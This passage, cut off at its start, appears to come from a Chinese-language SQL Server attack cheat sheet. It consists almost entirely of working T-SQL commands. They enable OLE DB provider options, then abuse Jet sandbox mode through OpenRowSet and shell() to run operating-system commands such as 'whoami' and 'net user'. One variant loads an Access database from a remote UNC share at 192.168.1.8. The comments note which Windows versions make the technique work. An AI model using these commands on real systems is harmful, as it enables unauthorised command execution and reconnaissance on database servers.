N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- SQL Server 2014 or later EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 -- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可. -- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令. -- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令. Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 'select shell("whoami")'); select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');